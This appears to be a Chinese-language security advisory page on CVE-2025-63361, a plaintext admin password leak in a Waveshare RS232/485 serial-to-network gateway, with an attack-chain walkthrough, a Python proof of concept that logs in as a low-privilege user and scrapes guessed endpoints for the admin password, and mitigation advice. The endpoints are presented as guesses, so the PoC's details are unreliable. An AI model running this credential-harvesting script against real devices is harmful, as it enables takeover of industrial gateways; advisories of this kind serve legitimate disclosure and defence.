IPBUF安全漏洞报告
English
CVE-2025-63361 CVSS 5.7 中危

CVE-2025-63361: Waveshare RS232/485 TO WIFI ETH网关管理员密码明文泄露漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-63361
漏洞类型
敏感信息泄露
CVSS评分
5.7 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Waveshare RS232/485 TO WIFI ETH (B) Serial to Ethernet/Wi-Fi Gateway

相关标签

CVE-2025-63361敏感信息泄露明文密码Waveshare串口网关物联网设备Web应用安全固件漏洞凭证泄露RS232/485 TO WIFI ETH

漏洞概述

CVE-2025-63361是Waveshare公司生产的RS232/485 TO WIFI ETH (B)串口转以太网/无线网关设备中存在的一个敏感信息泄露漏洞。该漏洞存在于设备的Web管理界面中,攻击者通过低权限账户登录后,可以直接查看管理员账户的明文密码。漏洞影响固件版本V3.1.1.0、硬件版本HW 4.3.2.1及网页版本V7.04T.07.002880.0301。由于管理员密码以明文形式存储和传输,攻击者获取后可以完全控制设备,修改网络配置、监听串口通信、甚至将设备作为内网渗透的跳板。该漏洞属于Web应用安全范畴,与设备固件开发中的安全编码实践不当有关。

技术细节

该漏洞的根本原因在于Web应用程序在设计时未对敏感信息进行适当的保护。设备的管理员密码在数据库中以明文形式存储(而非使用哈希加盐存储),并且在用户访问特定管理页面时,直接将明文密码渲染到HTML响应中返回给客户端。攻击者只需要拥有一个低权限用户账户(PR:L),通过浏览器访问管理界面并触发相关功能(如用户管理页面或系统信息页面),即可在页面源码或响应中看到管理员密码明文。由于HTTP响应中包含了完整的认证凭据,攻击者还可以通过拦截网络流量(中间人攻击)获取这些敏感信息。CVSS向量显示攻击复杂度低(AC:L),但需要用户交互(UI:R),表明攻击者可能需要诱导管理员访问特定页面或截获其网络流量。

攻击链分析

STEP 1
步骤1
攻击者通过默认凭证或弱密码获取设备的低权限用户账户访问权限
STEP 2
步骤2
使用低权限账户登录Web管理界面,建立有效会话
STEP 3
步骤3
访问用户管理或系统配置页面(如/admin/user_config或/cgi-bin/get_admin_info)
STEP 4
步骤4
在页面响应或HTML源码中查找明文形式的admin密码
STEP 5
步骤5
使用获取的管理员密码重新登录,获得完全控制权限
STEP 6
步骤6
修改设备配置、窃听串口通信或利用设备作为内网渗透跳板

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-63361 PoC - Waveshare Gateway Admin Password Disclosure # Target: Waveshare RS232/485 TO WIFI ETH (B) Gateway # Firmware: V3.1.1.0, HW: 4.3.2.1, Webpage: V7.04T.07.002880.0301 TARGET_IP = "192.168.1.100" # Target device IP USERNAME = "low_priv_user" # Low privilege user PASSWORD = "user_password" def exploit_admin_password_disclosure(): """ Exploit for CVE-2025-63361: Admin password disclosure in plaintext This PoC demonstrates how a low-privilege user can view admin password """ base_url = f"http://{TARGET_IP}" # Step 1: Login with low privilege account session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(f"{base_url}/login", data=login_data) if response.status_code != 200: print("[-] Login failed") return None print("[+] Logged in with low privilege account") # Step 2: Access admin/user management page to retrieve plaintext password # Common endpoints that may expose admin credentials endpoints = [ "/admin/user_config", "/system/user_management", "/cgi-bin/admin/user_list", "/api/v1/users", "/cgi-bin/get_admin_info" ] admin_password = None for endpoint in endpoints: response = session.get(f"{base_url}{endpoint}") # Search for plaintext password patterns in response password_patterns = [ r'password["\']?\s*[:=]\s*["\']([^"\'\s]+)["\']', r'admin_password["\']?\s*[:=]\s*["\']([^"\'\s]+)["\']', r'pwd["\']?\s*[:=]\s*["\']([^"\'\s]+)["\']', r'value=["\']([^"\'\s]{6,32})["\'][^>]*type=["\']password["\']' ] for pattern in password_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: admin_password = matches[0] print(f"[+] Found admin password at {endpoint}: {admin_password}") return admin_password print("[-] Admin password not found in common endpoints") return None if __name__ == "__main__": print("CVE-2025-63361 PoC - Waveshare Gateway Password Disclosure") print("=" * 60) exploit_admin_password_disclosure()

影响范围

Waveshare RS232/485 TO WIFI ETH (B) Gateway Firmware V3.1.1.0
Hardware Version HW 4.3.2.1
Webpage Version V7.04T.07.002880.0301

防御指南

临时缓解措施
在厂商发布修复补丁之前,建议采取以下临时缓解措施:1) 更改默认管理员密码为强密码,并定期更换;2) 限制Web管理界面的网络访问,仅允许受信任的管理IP段访问;3) 启用网络层防火墙规则,阻止未授权访问管理端口;4) 监控设备日志,关注异常登录行为;5) 考虑使用VPN隧道访问设备管理界面,避免明文HTTP通信被截获;6) 如果业务允许,暂时禁用远程Web管理功能,仅允许本地访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表